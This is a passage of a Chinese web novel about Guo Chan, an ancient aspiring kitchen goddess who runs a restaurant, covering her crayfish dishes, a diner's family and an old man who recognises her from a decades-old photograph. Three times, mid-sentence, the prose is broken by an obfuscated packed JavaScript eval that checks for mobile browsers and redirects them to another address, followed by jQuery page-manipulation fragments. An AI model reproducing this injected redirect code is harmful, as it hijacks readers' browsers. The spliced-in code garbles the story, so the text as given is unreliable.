而到了营业时间的郭家小厨房，在中午推出了新菜式——烩牛肉丸。没赶上早饭清汤牛肉丸的杨可欣一到饭点就赶了过来，她一个女孩子吃不了多少就点了一碗白米饭和一盘烩牛肉丸。 米饭粒粒晶莹剔透，一口咬下去浓郁的米香充盈了整个口腔，口感绵软适口。这米饭的发挥一如既往，杨可欣称赞道，她从高中开始注意自己的体型，主食类的例如米饭，馒头从来不敢多吃。 后来到了大学看开了，也就没那么注意摄入的碳水。可是习惯成自然，她吃上几口米饭就不想再吃了，导致她一直以来脸色都有点偏黄。 但是这郭家小厨房的白米饭她可以完整地吃完一整碗，最近看着有气色多了，脸色也没有之前那么黄了。 想到这她就想到了她大学时的舍友黄萱，那丫头比她还极端，天天节食减肥。 到现在有了厌食症，吃的是一口也咽不下去，靠着吊营养针活着，也许她应该邀请黄萱过来散散心，也许郭老板做的美食能唤起黄萱吃东西的欲望呢。 心中有了成算，杨可欣把注意力转回刚端上桌的烩牛肉丸上。手打的牛肉丸在早上汆熟后呈现暗白色，中午的牛肉丸则是染上红烩汁水，变成了红褐色。 杨可欣兴奋地伸出筷子，结果没夹起来，这手打的牛肉丸经过千百遍的木槌捶打有了原本没有的弹性。 杨可欣干脆用筷子尖戳起一个牛肉丸，先小心的试一下，这一口就令杨可欣惊叹。汁水咸鲜可口，牛肉肉质弹压饱满。 接下来的动作杨可欣就豪放多了，几乎是一口半个丸子，再加上一大口白米饭。到了最后一盘八个丸子已经消耗殆尽，杨可欣干脆将盘中剩下的汤汁倒进碗里，搅拌搅拌就下肚。仅仅是简单的汤汁拌饭也让杨可欣感受到了满足。 美食的存在就是为了欢愉，若是享受不到美食，尤其是的郭老板做的美食，在这世间又有什么意义呢。杨可欣瘫坐在椅子上抱肚想。 杨可欣也没忘记自己的爸妈，连吃带拿，打包了一份烩丸子回家给爸妈当晚饭。 郭婵忙碌一个中午，直到下午两点才送走最后一桌客人，惬意地坐在正对空调的前台，吹着冷风，享受叶九仟进贡的大布丁棒冰，因为他偷拿库房东西的事还是被揭发了。 郭婵倒是没计较这事，是应龙揭发的，应龙认为孩子大了不学好应该打一顿，但是他体型小小，显然没法干过叶九仟。 应龙选择大义灭亲，凌然正义地揭发了叶九仟的所作所为。 叶九仟期期艾艾看着郭婵难看的面色，选择放弃自己的小金库，给郭婵跑腿去买了棒冰，现在自己不仅一口冰棒没吃，还被打发到后厨去洗小龙虾。 郭婵今早去逛菜市场发现小龙虾悄悄上市了，于是订了五十斤小龙虾，让熟悉的水产老板帮她下午捉了新鲜的送来。 新鲜的小龙虾个大活泼，挥舞着一双大钳子虎虎生风。郭婵不想碰这玩意，又馋夏日里的一口香辣。 原本就打算着找个什么由头打发叶九仟给她洗龙虾，应龙这一告状正好落她下怀，还白占了一根冰棒。 叶九仟忍了郭婵的使唤，但他绝不肯放过告他黑状的应龙，走的时候也把虬龙一把带走了。 现在一人一龙在后厨，叶九仟穿戴好橡胶手套和橡胶鞋，朝着趴在小凳子上的应龙一挑眉，应龙动动胡须却不敢逃脱阵地，闭着眼把尾巴垂下。 感觉到尾部一重，立马把尾巴往叶九仟方向一甩，叶九仟一伸手恰好抓住一只小龙虾头尾相接的部位。 叶九仟先用毛刷大力将小龙虾刷了几遍，最后深吸一口气狠狠心一捅给龙虾□□放在铁丝架上。后厨时不时传来虬龙一时不慎被夹到尾巴的痛呼，和叶九仟没抓对被小龙虾夹到手的破口大骂。 “死龙，你就不能扔准点嘛。” “敢情被夹尾巴的不是你。” “我又没叫你让小龙虾夹你尾巴，我说的是尾羽，还不是你自己蠢被夹到了。” “那你被夹到是谁让你不能转个手再拿。” “哼！” “切！” 一人一龙吵吵骂骂赶在郭婵骂人前终于将三大盆小龙虾清洗干净，接下来就是郭婵的主场了。 姜葱料酒去腥，花椒桂叶增香，冰糖老抽上色，热气腾腾的小龙虾就出炉啦。郭婵做了一共两个口味，一个香辣，一个麻辣。留下五斤给自己三个人解决，其他的都摆上桌售卖。 郭婵刚走到餐馆里，已经来的客人纷纷询问做了什么。一个中年男子说：“郭老板，你做了什么好吃的，实在是太香了，下班还没回家闻着味就跑来了。” 同桌的人打趣道：“老吴你可不厚道，小心弟妹找来收拾你，下班了不先回家反倒跑来这里吃喝。” 吴建明也不在意，摆摆手，说：“嘿你当我傻，早跟老婆报备了连带点什么菜回去都商量好了。” 郭婵开口：“那你可要把带个一斤小龙虾回去啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289742|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 吴建明闻言惊喜道：“小龙虾，老板你做了小龙虾可太好了，我们一家都喜欢吃小龙虾隔个几天就吃上一回。自从你开业可是天天来报道，竟然连小龙虾都没去吃几回，这回我可得放开了肚皮吃，老板有什么口味都替我上一斤尝尝。” 郭婵应了“两种口味，香辣和麻辣都上一斤？” 吴建明犹疑地想想，说道：“先上斤香辣的吧，我不是很喜欢麻味。”，倒是同桌的人点了一斤麻辣过过瘾。 小龙虾还没端上桌，气味先冲了上来。吴建明看着大盆里红彤彤的辣椒和汁水，有些后悔，郭老板这香辣味不会也弄得很辣吧，他口味比较淡，平常吃龙虾都是选择相对来说比较不辣的口味。 这次郭老板只做两种口味，他特想尝尝四处可见的小龙虾在郭老板的妙手调理下能够迸发出如何的美味，因此把更不可能接受的麻辣味去掉，选了香辣味。 第一只龙虾尾入口就惊艳了吴建明，龙虾品质很好，虾肉饱满弹牙，口味更加注重入口的香，哪怕已经咽下虾肉了还是感觉唇齿留香。 第二味才是辣，这个辣度吴建明还能接受，刚下口但是没怎么感觉，回口才感觉到辣，但是这种辣不会辣到令人痛苦，而是辣开了胃口，一只一只吃个不停。 配上白米饭和炒毛豆一下一桌子的菜就一扫而光。吴建明还厚着脸皮从同桌的老友那儿换了几只麻辣味的小龙虾。 口感也很让他惊喜，平常避之不及的麻味真的延伸到舌头的时候有些许刺激，没有以前那种直冲鼻腔的想让人落泪的痛感，平缓但是有着恰好处的味蕾刺激，吃的吴建明出了一身的汗，大呼爽快。 吴建明吃完后立马把老婆说的几个菜换成了两斤小龙虾，乐呵呵地回家去了。 吴莉莉下完晚自习回来，刚一进家门就闻到一股浓郁的香气。走到厨房一看餐桌上全是吃剩下的龙虾壳，龙虾头。自己爸妈两个都瘫坐在椅子上一脸笑容。 她大叫：“爸，妈，你们吃小龙虾都不给我省点的吗？” 吴建民咳嗽几声，尴尬的说：“这郭老板手艺太好了，我和你妈一下没忍住就全吃完了。” 郭敏也知道自己和老公做的太过了，吴莉莉现在高三每天晚自习放的晚，晚饭吃的早消化掉了，天天回家都要吃个夜宵。 她又是郭家小厨房忠实的客人，偏偏上学起得早回得晚能吃到的机会就在周日一天。 因此郭敏和老公早早商量好就这一年了，两人谁有空去小厨房都会多打包一些回来留给女儿放学回来吃。 结果这次吴建明带回来小龙虾，考虑到家里三个人都喜欢吃就多带了些。她和老公太喜欢吃了，一下没忍住就吃完了。 她安慰女儿：“莉莉，爸爸妈妈明天再给你买小龙虾回来，多买点。现在你饿了吧，妈妈去给你下碗面，你外婆送了很多你喜欢吃的小青菜过来。” 吴莉莉没心动，问她妈：“还有米饭剩着吗？我想配这小龙虾的汤汁拌饭吃，妈你在帮我加热几个炸肉丸呗。” 吴建明和郭敏立马答应了，赶紧热肉丸的热肉丸，收拾桌子的收拾桌子。 看着女儿认真地吃着夜宵，郭敏和吴建明不时的给女儿夹菜，脸上不自觉的流露出微笑。 家庭的温暖就在昏黄的灯光下，围坐的餐桌旁,家人的目光中。 6. 第 6 章 郭婵卖出最后一杯杨梅冰沙，立马挂上歇业的牌子，最近天气越来越热，小餐馆的冰沙卖的特别好，就是杨梅酱不多了。 下次换个什么酱呢，最近水果上市多，芒果，草莓这些酸甜的水果可以试试。郭婵思考着自己该怎样修改菜谱，听到后面有响动，丢下一句：“现在已经歇业了，麻烦下午四点之后再来吧。” “郭老板，我今天不是来吃饭的。”苍老的声音从后方响起。 郭婵才发现是许久未见的李新民，李新民拎着一个陈旧的布袋，面容消瘦，比之前在她店里见到瘦了很多。 郭婵用一种复杂的，难以言喻的眼神定定地看过李新民和他手里的布袋，像是突然不认识这个人般淡漠的开口：“你进来吧。” 李新民一语不发地跟在郭婵后面，绕过后厨与枝繁叶茂的杨梅树，被郭婵直接领到了位于整座后院最后方，被刻意隐藏在最深处不愿被人发现的祠堂。 应龙跟着叶九仟被郭婵打发出去采购，没有像平常一样守在祠堂。 郭婵看着已经灭了的香火，清扫了一下香坛，又不知道从哪里摸出一把香来，点上火分给李新民几根。 李新民原本是找上来质问郭婵，他一开始看到郭婵就觉得郭婵异常的面熟，可又实在想不起来自己在哪里见过，这样风姿绰约的人见了一面也不应该有着这样模模糊糊的记忆。 这次他回到阔别已久的老家首都南方斋参加堂弟李新邺的葬礼。 飞机落地后堂侄李海潮特意来接他，他这一辈的兄弟这些年都已经逝去，到现在他唯一能和首都李家谈上话的只有年纪最大的堂侄李海潮了。 看着车窗外一闪而过的高楼大厦，李新民觉得车外的阳光有些刺眼，刺得他眼眶止不住地流出泪水，当然李新民自己清楚这泪水是情感的迸发还是自然的压力。 他有一种近乎惶恐的情绪，他自从参军离开首都，到如今近六十年。因着与家族老一辈的龌龊，他一直将大堂哥李新城的死归咎于家族祖辈的不变通。 他知道对于一个厨师家族来说，菜谱很重要，但是在他心里菜谱远比不上与自己亲近的亲人重要。 若是他在当时是能够主事的年纪，他愿意交出菜谱换得家人的生路。到时无论是说他欺师灭祖将不得外传的菜谱交出还是不顾家族生存，他都接受。 他惶恐地发现自己无能为力改变一切所以怯懦地将这一切怪罪到别人身上，来逃避现实。而在六十年后李新民意识到了这件事并且羞耻地承认了这件事。 回到首都这件事对李新民影响很大，他在长久的折磨与羞愧中意识到自己年轻时想法的幼稚，并且第一次真正承认了自己长久以来的错误，对于家族事业的不负责，对于亲人的辜负。 李新民被接回了李家的老宅，老宅虽然近些年修修补补，但是还是大致维持着他小时候生活的模样，这让他在见识了首都的陌生后有了些许安慰，可惜人不在了，他还是忍不住这么想。 李海潮陪着李新民到原来二爷爷那房居住的地方，他提出过让李新民住在自己那边的新房，这边房子虽然打扫但是已经长久不住人了。 李新民没有同意，他固执地想要回到一种过去的秩序中，来慰藉他一下子爆发的思乡之情。 李海潮拗不过自己现在唯一的长辈，只能选择叫来保姆再彻底地打扫一下，把已经准备安置在他那边空房间的被褥和生活用品拿过来。 李新民有些疲倦了，对自己的堂侄说道：“海潮，我有些累了，要是没什么重要的事都明天再说吧，明天六点半起来布置灵堂对吧？” 李海潮劝他：“二伯，你明天八点起来就好了，我们怎么能劳累你，这布置灵堂有我们这些小辈在就好了，你这一路风尘仆仆的好好休息。” 李新民知道自己这个侄子有些唠叨，干脆不与他争辩，什么时候起不还得看他自己，总不能他六点半起了侄子还不让他进灵堂吧。 葬礼举办了三天，结束后李新民也没有离开，每天都带着个小辈去家族所在的那一片公墓去扫墓，头七过了还去小时候经常去的地方逛了逛。 可是这些没有给到李新民一点安慰，祖父，父母早早去世，同辈的兄弟也没有一个活得和他一样长，很多小辈都已经选择不在从事厨师这个行业，更有甚者定居在国外几年都见不了一面。 李新民这几天见了很多小辈，都觉得遗憾。在他自己选择放弃了家族事业几十年后，作为这个家族最为年长的长辈他开始担忧这个这个家族，担忧南方斋的未来。 可是现在南方斋靠着李海潮这个老板兼主厨顶着，有很多招来的优秀厨师但是都不是自家人，李新民绝不可能让南方斋落到外人的手里。 他在首都待了近一个月一直在担忧这件事，李海潮几乎一天忙到晚，让他专门抽出时间来教导那学厨艺的三两只小猫根本不可能，但是以李新民的人脉几乎找不到相熟的淮扬菜厨师。 直到最后他要回安南的前三天，转机到来。 李新民已经在收拾行李，将一些这几天用不到的东西先收拾起来。 就在这时，下班后肉眼可见疲惫的李海潮拿着一本陈旧的牛皮相册过来，递给李新民，说：“二伯，我们这几天整理爸的遗物，在他箱子底下发现了这本相册都是以前家族老一辈留下的相片，不如就给你带回去留个念想吧。” 看着李新民翻开相册，李海潮赶忙离开，他算是发现了自己这位二伯感情丰富但是极要面子，肯定不希望被自己这个小辈看到哭鼻子。 也确实如李海潮所想，李新民从翻开这本相册眼眶就开始发红发涩。看着年轻时候的父母带着自己和弟妹们拍的照片，他和一众兄弟姐妹在寒冬腊月里打雪仗刚好被祖父邀请来的朋友拍下，还有许多他们单人或者多人的合影。 看得李新民是满心感慨，都是在他记忆中很美好的瞬间。翻着翻着，李新民突然停顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289743|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你，接着不可置信的张大眼睛，满眼震惊。 他看到一个绝不可能出现在这本相册上的人，一个绝不应该出现在他记忆里的人，他发现一张郭婵和李新城的双人合影，两人站在南方斋后院天井中的一颗梅树下，肩并肩笑着看向镜头。 不可能，郭婵在几十年就来到过南方斋，这根本不可能啊！李新民在心里不断地否定自己所看到的，但是照片中穿着大褂马面裙的年轻秀美的女子和郭婵长得一模一样，连那绰约的气质透过黑白影像也可以窥到几分。 李新民没有猜想相片中的女子是郭婵的哪一位女性长辈，李新民一直引以为傲让他多次躲过危机的直觉指引着一个方向——照片中的女子就是郭婵本人。 这个大胆的猜想却是奇妙的将李新民对郭婵有疑问的地方神奇地串联了起来，一位年纪轻轻看着不过双十年华的小姑娘能有世所罕见的厨艺，甚至有极丰富的古方菜储存是令人无法想象的。 李新民从来都承认有些人在厨艺一道上有着绝对的天赋，想他的堂兄李新城就是被他祖父视为难出其右的天才，是祖父钦定的继承人。 但是郭婵在李新民的认知中她的厨艺已经达到了巅峰造极的水平，并且不是在一个菜系上有所深见，她在所有菜系，几乎中国菜上都有着极高的水平。 甚至若不是李新民已经远离厨师界已久，他都想大言不惭地说郭婵就是天下第一。 但是李新民再如何肯定天赋的作用，他也不得不承认经验对一个厨师的重要性，火候，油温，配菜，选材，大厨们都有着自己得天独厚的经验积累。 天赋是一个踏板，实操与经验才是能决定一个厨师高度的天花板，这也是为什么基本上有所成名的酒楼餐馆的主厨年纪基本都是中年人，体力与经验在这个年纪达到了一个完美的平衡。 若是说郭婵真的依靠无人得知的方法保存青春至少几十年乃至上百年，那么她的厨艺与气质都能的到很好的解释。 这个猜想非常令人出乎意料但是在郭婵身上却是合情合理。 李新民想他有了一个能够解决南方斋传承的方法了。他在这个年纪已经奉献够了，他将自己的青春和热血奉献给自己的国家。 他现在只想自私一把，如果这件事是真的，他不会对郭婵做些什么，郭婵对于他的家族对于他有着恩情。 李新城一直以来都承认自己在接受李家传承外还有师傅，他一直没明白为什么李家会让李新城额外拜师学艺而这位师傅只留在李家几年后就离开了。 但是郭婵作为师傅来教导李新城甚至李家的其他人都是绰绰有余的，他不能忘了这份师恩。 其二他想试试能不能看在李新城这个徒弟与他为郭婵保守秘密的份上，郭婵再教导一下李家现在的后辈，哪怕郭婵只从指缝中露一点，就够支撑李家在延续百年。 剩下的他已经入土就看李家的后辈能不能守住这百年基业，祖先家传了。 7. 第 7 章 在沉默的氛围中，李新民老老实实跟着郭婵走完了一套流程。瞅着郭婵立在灶神像前低头冥想，李新民不敢打扰，就站在郭婵的右后方，他不知道郭婵是不是再赌谁先开口。 他先开口示弱没有问题，但肯定需要先撑过这段时间，若是能引得郭婵先开口，他提出的要求更能被郭婵接受。 李新民只能听到郭婵一声叹息，幽幽开口道：“其实我一眼就认出你了，原本想着你要是忘了我也不会主动提醒，这事对我们两个人而言都不是一件简单的事。你已经离开李家这么久我不好把你再拖进来，个人有个人的缘法。” 李新民想想自己的那些子侄再对比自己小时候记忆中家族的兴盛，略带哀求：“我对家族来说是个不肖子孙。但是老了终究心软想给后辈谋一个前程，希望郭老板能给个机会，其他的都不会从我嘴里露出一个字，这件事就在我们两个人间了结。” 他们都默契地没有提到那个在这件事中最重要的纽带。李新民哪怕到了老年与自己和解也不愿意与李新城的死亡和解。 而对于郭婵来说，神对于人而言总是有着种种冷情冷意的幻想，理所当然的认为一个人生命的重量对于神而言只不过是一段平平的旅程。 她活了三千年，经历了三千年，这世间所有的酸甜苦辣咸她肯定尝过不止一次，甚至成百上千次，谁能保证自己的存在会是漫长人生中浓墨重彩的一笔呢。 李新民不能保证，所以他不提。郭婵不能保证，因为关于李新城的记忆已经在慢慢消失了，她记得李新城带她出去逛庙会，他们买了一对手绘的人物灯，她选的是嫦娥，但是李新城选的什么她已经记不清了。 最后郭婵答应了李新民的请求，把他带过来的算是还有天赋的一个李家子侄李禾收到后厨打下手。 李新民自觉自己还有自知之明只说让李禾给郭婵在后厨帮忙打打下手，郭婵的徒弟必定是她自己精挑细选出来的。 他的堂哥李新城认为自己是郭婵的徒弟但是在他记忆中郭婵从没有喝过李新城的徒弟茶。厨师这一行有着和社会大多数行当上师徒传承相关的规矩。 没有喝过徒弟茶，没有开坛告诉祖师爷自己身后有人，师门有人传承就不算是正式的师徒。放在他那个时代，被人教导过却没有正式行过徒弟礼的要是敢在死后出来争传承是要被人骂被人嫌弃的。 自己的堂哥虽然真真切切地接受过郭婵的教导，但是没有被郭婵正式收为徒弟，那更别提他带来的小辈了，天赋更比不上李新城。 能不能真正拜师就看李禾自己够不够争气了，毕竟他还是要留点脸面在的，太过分了估计他都不好意思再到郭婵这里吃饭了。 郭婵没有送李新民，叫来早早已经回来但是知道郭婵心事不敢现身的叶九仟送走他，顺便关门一个傍晚，今天她实在是没有精力营业了。 叶九仟其实一直关注着祠堂这边，但是他想着郭婵总会处理好的就没有现身。 要按他说就直接用神力销了李老头的记忆，郭婵是没什么神力了但是他和虬龙这点事总能做好的。但是郭婵显然和叶九仟的脑回路没有连接上。 郭婵在成为预备役灶神前就出生于厨师世家虽然走上这条路对她一个女子来说有点艰难但最终结果是好的。她和李新城，李新民都有着相似之处。 她为了自己的梦想在得到天地青睐获得一部分神力后也毅然离开了家族，离开父亲。 她想着的是父亲无法理解自己一个女儿家为什么要追求厨艺，要成为厨师。那么成为灶神，在绝对意义上的厨艺第一无疑是她向父亲证明自己的最好办法。 所以她在青年后一直奔波在外讨教学习，寻找成神的办法。那时她陷入可怕的执念只要一日不成为灶神她就是败给了父亲。 到最后她再次接到父亲的消息已经是他去世了，她以为自己成了灶神哪怕是一个预备灶神就已经不同于常人了，她该是神了。但是在接到这个消息时她一边痛恨依然还保留着人的情感一边哭得稀里哗啦。 之后她怀着一种愧疚与忐忑的心情一直在外奔波，千年流转也没有回过家乡。直到这最后十年，她放弃了过去的种种挣扎选择了回到三千年前她的家乡现在的安南。 盘下一个小铺子，在父亲安息之地给他看看自己的女儿真的成为了一名厨师，他没有儿子碍于家族传承没有收徒弟但是他有人传承。 他的女儿最初就由他教导成材，后来汲取百家之长最终选择回家，回到这个地方证明他有人传承，三千年后依旧存在。 郭婵没有脱离人的范畴哪怕这三千年她有了神力，因为她依然保留了规则感与共情心。应龙和叶九仟不一样他们虽然一出生就是圣兽，化形也已经千年，但是骨子里依旧保留着一丝丝的兽性，他们对于人很难有情感。 对于他们承认的伙伴，都是有巧妙的契机让他们走在一起。叶九仟是因为还没破壳就是由郭婵和应龙抚养，应龙与郭婵结识是因为在应龙最窘迫的时候郭婵陪在身边。 对除了郭婵之外的一般人他们很难有情感上的牵扯与共情。 郭婵在三千年里一直在探寻如何成神的过程中与应龙发生过无数次矛盾，每次应龙都会指责郭婵太感性，她一直留着所谓的凡性，大道无情只要她做不到就不可能成神。 郭婵心里明白应龙说的有道理，但是她就是做不到，她试过强装自己淡漠无情不去参与别人的人生及时止步。 但是一次又一次她没有办法做到不去回应别人给她的情感，无论这种情感是好是坏，是否是别有用心。 她努力过太多太多次没有结果，到最后应龙都在劝她算了吧，你做不到剔除情感就留着，比起盼着你成神，我情愿你快乐地过完这意外得来的三千年。 郭婵放弃挣扎后来到安南偏僻的老街道开了这样一间没有名姓的小餐馆做好了寥寥度过最后十年的准备。 应龙也不知道从哪个角落里窜出来，落到郭婵僵硬的肩膀上，蹭蹭她的侧脸，心疼的说：“不要再想成神的事了，我们现在就挺好的了，不要强逼自己去完成你不可能完成的事。” 郭婵扯了扯嘴角，勉强笑道：“我试了那么多次没有一次是成功，留给我的只有后悔与遗憾。接下来的路我可能真的走不下去了。” “好好休息一下吧”应龙慢悠悠地飞走，“能够相遇并且陪伴这么久已经是我们的运气了，其他的事不要再去纠结了。” 郭婵没有回答而是很郑重地点了点头，她已经没有退路，在最后的这段时光中她就好好享受自己最真挚的快乐——做菜吧。 而真的等到了夜晚降临这个郭婵唯一的避风港的时候，郭婵不可避免地陷入到过去的记忆中，她渐渐回忆起来她以为自己忘了的那些记忆。 郭婵和李新城相遇在萧瑟秋天。郭婵坐在驴车上，薄薄的布棚在经过半个月的跋涉进入这个北国胜地已经抵挡不了带着冷意的秋风。 郭婵挤在一堆杂物中间，抱臂取暖。应龙趴在旁边一个垫了棉花和干草的小窝上，这天气冷得他都没精打采的，还喊喊着：“小婵婵你一点也不尊老爱幼！连件大衣都不肯分我一半，叛逆吾儿伤透我心呜呜。” 一边假哭一边瞅着郭婵，看见郭婵翻白眼呜呜声更大了。 “得了吧，这种鬼天气你们怎么不照顾照顾我这凡人。”郭婵白眼翻上天，咬牙切齿“你还好意思提大衣，我没给叶九仟大衣吗。结果呢，被你带去打赌赌输了。就你这小窝上的棉花薅的还是我的大衣。” 应龙一听这话嘿嘿笑了两声，说：“别生气别生气，我就是跟你闹着玩呢。”，顽强起身飞了两圈显示自己身强体壮。 在叶九仟撩布帘进来的一瞬间又趴了回去，呜呜，还是好冷但是不敢说了，怕被打。 应龙知道自己哄着叶九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289744|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仟拿出大衣给自己打赌很缺德，但是他都是为了谁啊，还不是为了再赢一件大衣回来，都怪那个老秃驴不讲道德，出家人尽说诳语。 叶九仟在外面吃了满口冷风，发牢骚：“这么冷的天，小婵你怎么忍心要我在外面赶路呢。这驴施个小法术自己就能上路了。” 看到这蠢货，郭婵更气了说：“让你长长记性，用不着大衣那让你吹冷风不是更合你意了。”叶九仟秒变鹌鹑不敢说话了，他错了他不应该跟郭婵求情。 叶九仟和应龙作为圣兽，冷对他们身体不会有影响，但他们能感觉的到，自然也不喜欢。郭婵实在是太气了，本来御寒东西就不多，输了一件大衣出去更是让这个本就不富裕的家庭雪上加霜。 这两货必须收到教训，不然不能平郭婵痛失大衣的心头之恨。车棚里两个活宝不敢说话触郭婵的霉头，一行三人就这样一路寂静地赶路直到到了南方斋的后门。 郭婵跳下车，看着这个已经红漆斑驳的门，发出疑问：“就这？”叶九仟在旁边搭话：“那个大娘就是说的入了庆阳门左转直行看到牌坊再右转。”，又转头环顾四周，才用极度不自信的语气说：“应该是这了。” “算了，敲门问问吧。”郭婵一个大步直接上前扣了扣门上的铜门环。不久，听见院子里有人回“谁啊？” 叶九仟和郭婵两人立马挂上自认为最礼貌的微笑，郭婵还给叶九仟整了整衣领，结果引来躲在叶九仟衣领处的应龙一声痛呼。 而来开门的李大娘看到就是一对奇奇怪怪的男女，挂着假意的渗人微笑，吓得她差点一把把门甩回去。 还是靠着心中的责任感，李大娘问了一句：“你们哪里的，来这南方斋后院干什么来的？” 叶九仟心中一激动一个原地起蹦，找对地方了。 郭婵心中也很激动，但是看着面前大娘越来越不好看的脸色，把隔壁的憨货一把扯到自己身后，组织语言：“大娘，我们是丹阳来的，丹阳聚德楼的薛老和你们南方斋的老爷子是旧交。我们嘛，上京来也是受薛老的命来拜访拜访老爷子。” 李大娘点点头表示知道了，打秋风来了。看着大娘面色和缓了些，郭婵乘势追击：“麻烦大娘帮我们说一下，让我们见见老爷子。这还没入冬天怪冷的。” 李大娘招呼两人进来坐坐，先把驴车放外面，这门开个缝没人敢偷。又叫来自己的孙子看顾郭婵和叶九仟，她自己去找当家的说说。 郭婵和叶九仟两个人在李大娘孙子的招待下纷纷选择坐在火盆旁，感受着温暖，两人终于觉得自己活过来了。这几百年没来，一来这天气这温度让他们够呛。 过个十来分钟，李大娘跟在一个年轻俊秀的男子身后过来了。 男子看着也就二十来岁，眉目秀美，见他们两人先笑起来，一笑右边的小梨涡就现了出来，添了几分亲近之意。 男子自我介绍：“我叫李新城，是这家的长孙。就是你们要见我爷爷吧。薛爷爷好久没写信来了，不知道两位远朋有没有带话来？” 话音刚落，郭婵就接到：“薛老先生特意托我们送了信给老爷子。”边说边从自己大衣的破口袋里掏出一封被三折四折地有些皱巴的黄色信封。 李新城也不嫌弃接过来仔细端详了信封上的字迹与加印的私章，确定是爷爷的同好，丹阳的薛爷爷的亲笔，才又展开笑颜迎了两人进去内院，把两人带来的行李安放在进来的后院让人看着。 李新民边带着郭婵和叶九仟往里走，一边解释：“南方斋前面是酒楼，后面是厨房和杂院。我们不住在这，等你们见过我爷爷之后，我再带你们去李家大院安置，行李就放在后院走的时候一并带去。” 郭婵和叶九仟哪有反驳的份，只觉得李新城真贴心，一照面就看到了他们贫穷的处境不用他俩卖惨就安排住宿了，因此两人开开心心地跟着李新城往里走去见南方斋的主事人。 8. 第 8 章 南方斋的格局是前店后宅，后宅又是个两进制的小院，郭婵和叶九仟进来的后门直接的是第一进，被用来堆放杂物和让餐馆小工们居住。 郭婵看着一路走来堆放的柴火，鸡毛，低声喃喃道：“这要是点一把火估计能直接爆了吧。” 李新城突然转头问：“什么爆了？”叶九仟警铃响起说：“她这说这味道，味道真香，闻着像是大火爆香。” “哦，哦”李新城想这已经走到后厨所在的第二进，各种饭菜的香味扑鼻而来。这郭小姐想必是在嗅觉很敏感吧。 叶九仟在李新城转过身后，一把捂住郭婵的嘴，说：“你烧王宫都是一千年以前了，这不必拿出来说了，算我求你了，我不想再被赶出去。” 郭婵死命点头表示自己知道了，绝对不会再被赶出去，再说了每次被赶走或者被迫亡命天涯都是她一个人造成的吗，他们三个人造的孽都不少好嘛。 应龙偷人家祭品结果落下残渣，她和叶九仟被追着打。 叶九仟不要脸的乱闯内宅看人家夫妇做闺房游戏看得津津有味发出声响被发现，她当时还在厨房被逃过来的叶九仟抓起就跑。那次最后他们两人一龙差点露宿街头都快上街乞讨了。 李新城很快就找来了自己的爷爷，一个挺着大肚子的白须老人。老人在这个季节刚从后厨出来，仅仅披着一件夹袄里面还穿着单衣。 郭婵和叶九仟以震惊崇拜的眼神注视着李存根，硬核厨师，不畏寒冷，看得老爷子奇怪的摸摸自己的大光头。 叶九仟挤眉弄眼：你也是厨子，你怎么不行。 郭婵白眼回应：厨子和厨子是不一样的，这差距大到我和你的差距。 叶九仟歪嘴斜目：我和你有什么差距? “小友可是哪里不大舒服？”李存根看着面前长相俊美却表情扭曲的小青年弱弱提问。 郭婵爽朗一笑说：“嘿，就是冷风吹多了。别担心，他这是祖传的，一直这样，一吹冷风就呃呃。”郭婵现身表演了一个面瘫中风肉笑皮不笑。 李存根尴尬笑笑，他现在觉得这个女娃子也不大正常。但是来者是客，只好扬起勉强礼貌的笑容继续接待他们。 李存根让郭婵和叶九仟不要客气，招待他们：“喝茶喝茶，新城再去拿点点心来。”自己拿起老友难得一封的书信看起来。 信的第一句话就是:老友，我对不起你。老夫我实在忍受不了这两个混世魔星了，难为老友担待。 李存根的虚伪笑容就僵在了脸上，一封信看完长呼一口气。再悄咪咪瞥一眼还在狂炫点心的两个混世魔星，还好还好等下请顿饭就可以请两位离开了。 李存根讪讪开口：“劳烦两位小友奔波千里送信了。这快天黑了不如先在南方斋用膳，二楼还有雅间两位请要吃点什么随便点，正好我打点一下旅馆，吃完饭就能下榻休息。” 叶九仟一抹嘴角，咧嘴笑：“不用老爷子这么麻烦，令孙体贴已经安排好我们下榻贵府，时间不早我们得带这行李过去到时就简单下两碗面给我们填填肚子就好。” 叶九仟眼里全是狡黠，嘿嘿，进了这个门就别想赶他们走。 他可不信薛老头会说什么好话，毕竟之前薛老头收了郭婵指点不敢直接赶他们出门，千求万求才答应给他们一封举荐信，能不能留下蹭吃蹭喝就看他们自己本事了。 李存根一听这话，不可置信地回头看了一眼李新城，被回以无辜的狗狗眼，心头一哽，强颜欢笑道：“这恐怕家里招待不周啊。” 